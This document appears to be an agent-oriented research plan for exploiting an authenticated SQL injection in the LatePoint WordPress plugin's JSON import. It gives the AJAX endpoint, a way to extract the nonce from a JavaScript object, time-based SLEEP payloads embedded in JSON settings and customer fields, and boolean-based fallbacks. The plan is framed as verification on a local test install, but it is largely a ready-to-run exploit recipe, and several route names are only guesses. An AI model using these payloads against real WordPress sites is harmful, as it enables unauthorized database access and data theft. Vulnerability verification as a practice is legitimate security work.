LatePoint <= 5.2.7 - Authenticated (Administrator+) SQL Injection via JSON Import

This research plan outlines the steps to verify a SQL injection vulnerability in the LatePoint plugin (versions <= 5.2.7) via the JSON Import functionality.

1. Vulnerability Summary

The LatePoint plugin for WordPress is vulnerable to an authenticated SQL injection (Administrator+) because it fails to properly sanitize or parameterize user-supplied data during the JSON import process. Specifically, the plugin processes a JSON structure containing data for various entities (like bookings, customers, or settings) and uses the keys or values from this JSON directly in SQL queries without sufficient validation. This allows an attacker to execute arbitrary SQL commands, typically using time-based techniques to exfiltrate database contents.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: latepoint_route_call (The standard AJAX router for LatePoint).
• Route Name (inferred): imports__import_json_data or imports__process_import.
• HTTP Parameter: import_data (carrying the JSON payload) or a raw POST body.
• Authentication: Required (Administrator or a user with LatePoint admin capabilities).
• Nonce: latepoint_admin_nonce.
• Preconditions: The LatePoint plugin must be active.

3. Code Flow (Inferred)

1. The administrator accesses the LatePoint "Settings" or "Tools" area and initiates an import.
2. The client-side JavaScript sends an AJAX request to admin-ajax.php with the action latepoint_route_call and a route_name pointing to an import controller (e.g., LatePoint\Lib\Controllers\ImportsController).
3. The controller retrieves the JSON data from the request.
4. The controller/helper (likely LatePoint\Lib\Helpers\ImportHelper) iterates through the JSON object.
5. Data is passed to various model save() methods or direct $wpdb->query() calls.
6. Because the keys or values in the JSON are trusted, an attacker can insert SQL fragments (e.g., ' AND SLEEP(5)-- -) into the data fields.

4. Nonce Acquisition Strategy

LatePoint uses a localized JavaScript object to manage its AJAX environment. To obtain a valid nonce for the latepoint_route_call action:

1. Login: Authenticate as a WordPress Administrator.
2. Navigate: Use the browser_navigate tool to go to the LatePoint dashboard: /wp-admin/admin.php?page=latepoint.
3. Extract: Use browser_eval to extract the nonce from the global latepoint_helper object.
   • JS Variable: window.latepoint_helper
   • Nonce Key: admin_nonce
   • Command: browser_eval("window.latepoint_helper?.admin_nonce")

5. Exploitation Strategy

We will use a time-based SQL injection payload targeting a standard data import field.

• Target URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Payload Construction:
  • action: latepoint_route_call
  • route_name: imports__import_json_data (inferred)
  • latepoint_admin_nonce: [EXTRACTED_NONCE]
  • import_data: A JSON string containing a malicious payload.
    • Example payload: {"settings": {"some_setting": "val' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -"}}

Step-by-Step:

1. Baseline Request: Send the import request with a benign JSON payload and measure response time.
2. Attack Request: Send the import request with the SLEEP(10) payload.
3. Analysis: If the response time for the attack request is significantly higher (approx. 10 seconds), the SQL injection is confirmed.

6. Test Data Setup

1. Plugin Installation: Ensure LatePoint version 5.2.7 or lower is installed and activated.
2. Admin User: Create a standard administrator user.
3. Basic Setup: Complete the LatePoint initial setup wizard (adding at least one agent and service) to ensure the database tables are fully populated.

7. Expected Results

• Benign Request: HTTP 200 OK, response time < 1s.
• Exploit Request: HTTP 200 OK, response time > 10s.
• Response Content: The plugin may return a JSON success/error message, but the delay in delivery is the indicator of success.

8. Verification Steps

After the HTTP exploit, use WP-CLI to check for side effects:

1. Check for Errors: Run wp db query "SHOW TABLES LIKE 'wp_latepoint_settings'" to ensure the database is still intact.
2. Data Persistence: If the payload was intended to modify data, check the wp_latepoint_settings table for the injected value:
   wp db query "SELECT * FROM wp_latepoint_settings WHERE setting_value LIKE '%SLEEP%'"

9. Alternative Approaches

If imports__import_json_data is not the correct route:

1. Search for Routes: Use grep -r "route_name" . in the plugin directory to find all available routes.
2. Check Other Entity Types: If "settings" doesn't work, try injecting into "customers" or "bookings" arrays within the JSON:
   {"customers": [{"first_name": "Injected' AND SLEEP(10)-- -"}]}
3. Boolean-Based: If the response time is inconsistent, attempt a boolean-based injection by checking if a specific condition (e.g., (SELECT 1)=1) changes the success message returned in the JSON response.